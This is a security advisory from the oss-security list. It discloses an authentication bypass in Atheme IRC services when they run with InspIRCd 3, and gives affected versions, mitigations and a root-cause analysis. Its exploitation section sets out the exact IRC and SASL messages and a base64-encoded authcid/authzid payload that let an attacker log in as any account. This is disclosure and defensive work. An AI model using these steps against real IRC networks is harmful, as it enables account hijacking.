Date: Sun, 30 Jan 2022 21:22:54 +0000
From: Ed Kellett <e+ow@...lett.im>
To: oss-security@...ts.openwall.com
Subject: General authentication bypass in Atheme IRC services with InspIRCd 3

Hi,

An authentication bypass has been found in certain combinations of
InspIRCd and Atheme IRC Services. By abusing a mismatch of expectations
between Atheme and InspIRCd, an attacker can start a challenge-response
login and then end the IRC handshake in such a way that Atheme considers
it to have succeeded. On some Atheme versions, the target account does
not need to have challenge-response authentication enabled.

Vulnerable software

This vulnerability arises from a combination of two pieces of software.
Neither is expected to be vulnerable as part of any other software stack.

Atheme prior to commit 4e664c75d0b280a052eb[1] is vulnerable (the
potential for shenanigans was noted at the time of this commit, but the
combination with InspIRCd was not). This affects the following release
series:

- 7.1 (unsupported)
- 7.2 (fixed in 7.2.12)

However, one of the following SASL authentication mechanisms must also
be enabled in order to exploit this vulnerability:

- ECDSA-NIST256P-CHALLENGE (available in versions 7.1, 7.2, master)
- SCRAM-SHA-* (available in master only)
- ECDH-X25519-CHALLENGE (available in master only)

Atheme releases in the 7.2 series, and 7.2 and later development
versions, are vulnerable to the general attack. In Atheme 7.1 only
accounts with challenge-response authentication enabled can be targeted.

The InspIRCd behaviour that enables this attack was introduced in commit
407b2e004cf66e442771[2] and reverted in 6703b8065ccaa0acb503[3]. This
affects the 3.x and 4.x release series.

Mitigation

Unload all SASL modules that implement challenge-response authentication:

- /OS MODUNLOAD saslserv/scram
- /OS MODUNLOAD saslserv/ecdh-x25519-challenge
- /OS MODUNLOAD saslserv/ecdsa-nist256p-challenge

Alternatively, upgrade Atheme 7.2 to 7.2.12, or upgrade Atheme master to
commit 4e664c75d0b280a052eb (or later), and restart services.

Analysis

Ignoring other features and trivial permutations, a challenge-response
login to IRC should look like this (this example is for the SCRAM-SHA-1
mechanism, taken from RFC 5802 Section 5, but a similar flow is also
used in the other mechanisms):

```
C->S: CAP REQ :sasl
C->S: USER alice 8 * :alice
C->S: NICK alice
S->C: :irc.example.net CAP * ACK :sasl
C->S: AUTHENTICATE :SCRAM-SHA-1
```

```
      S->C: AUTHENTICATE :+
      C->S: AUTHENTICATE :biwsbj11...a3hkYXdM
      S->C: AUTHENTICATE :cj1meWtv...NDA5Ng==
      C->S: AUTHENTICATE :Yz1iaXdz...NFRzPQ==
      S->C: AUTHENTICATE :dj1ybUY5...a0ZzS1E9
      C->S: AUTHENTICATE :+
      S->C: :irc.example.net 900 alice alice!~alice@....example.org user
:You are now logged in as user
      S->C: :irc.example.net 903 alice :SASL authentication successful
      C->S: CAP END
      S->C: :irc.example.net 001 alice :Welcome to the Example Internet
Relay Chat Network alice
```

Since the username to authenticate against (given in the second client-to-server AUTHENTICATE message) is needed to look up the challenge materials, it is remembered by Atheme for the duration of the authentication flow. Due to the mechanics of IRC server-to-server protocols, a successful authentication must be remembered too, so that the client can be considered logged in by Atheme once it completes the handshake and is introduced to the network.

Unfortunately, prior to 4e664c75d0b280a052eb, the storage for a pending authentication and a successful authentication are one and the same. Atheme does not know whether it has validated an authentication flow, but relies on the IRCd to abort SASL authentication if it is in progress when the handshake ends. On InspIRCd, which does not do this, an attacker can simply end the handshake as soon as she receives the challenge, and Atheme will consider her to have logged in.

SASL separates the concept of authentication identity ("authcid") and authorization identity ("authzid"). An account with sufficient privileges (in real use usually a technical account rather than a human user) can use its own credentials, identified by its authcid, to log into some other account, identified by the authzid. Atheme introduced full support for this feature in version 7.2.

In the exploit scenario Atheme accepts the supplied identities without question, and will not even check that the authcid account has the right to impersonate the authzid. An attacker can therefore simply set authcid to an account name that is known to enable challenge-response authentication and authzid to the account name of the victim. There is nothing the victim can do to avoid this.

Exploitation

In order to exploit this vulnerability, we need an account with challenge-response authentication enabled, or a network that uses SASL SCRAM (which requires no special setup on the part of the attacker). If we want to use a mechanism other than SCRAM, we can simply enable challenge-response authentication for our own account with a SET command:

```
      C->S: USER evil 8 * :evil
      C->S: NICK evil
      C->S: NS REGISTER hunter2 foo@....example.com
      C->S: NS SET X25519-PUBKEY
LQDwvl3ECsZh/mXXKuwMw56inOOO/iW1tGOgYy64+lg=
```

Then, in a new session, use that account to get into an account of our choice. To prepare, encode the name of our account and our victim's like this:

```
      $ printf '%s\0%s' 'evil' 'alice' | base64 -w0
      ZXZpbABhbGljZQ==
```

Start logging in, and then interrupt the authentication flow with CAP END:

```
      C->S: CAP REQ :sasl
      C->S: USER evil 8 * :evil
      C->S: NICK evil
      S->C: :irc.example.net CAP * ACK :sasl
      C->S: AUTHENTICATE :ECDH-X25519-CHALLENGE
      S->C: AUTHENTICATE :+
      C->S: AUTHENTICATE :ZXZpbABhbGljZQ==
      S->C: AUTHENTICATE :1gVR5CbC...unw2hHyA
      C->S: CAP END
```

```
      S->C: :irc.example.net 001 evil :Welcome to the Example Internet
Relay Chat Network evil
      [...]
      S->C: :saslserv!saslserv@...vices.example.net NOTICE evil :Last
login from: [...] on [...].

 From Atheme's point of view, we are now logged in as "alice". The IRCd
disagrees, and so, for example, we could not immediately gain access to
channels that only alice is allowed to join, but we can fix that in any
number of ways (such as by changing the victim's account name, or adding
new credentials to the victim's account and opening a new connection
using them).

Note that nothing we sent depended on the server's responses; this
attack takes no intelligence to execute. This also works for
ECDSA-NIST256P-CHALLENGE and SCRAM-* in much the same way. Also, for
Atheme 7.1, SASL's authorization ID is ignored, so only victims with
challenge-response authentication already enabled are vulnerable.

# Acknowledgements

Aaron Jones (amdj) of Atheme assisted with the proof-of-concept
exploitation and preparation of this report, and took great pains to
ensure affected installations were notified.


Thanks,
Ed Kellett

---

[1]:
https://github.com/atheme/atheme/commit/4e664c75d0b280a052eb8b5e81aa41944e593c52
[2]:
https://github.com/inspircd/inspircd/commit/407b2e004cf66e442771ec5d2bbe700dee1f3760
[3]:
https://github.com/inspircd/inspircd/commit/6703b8065ccaa0acb50380736f25780e3a8e549d
```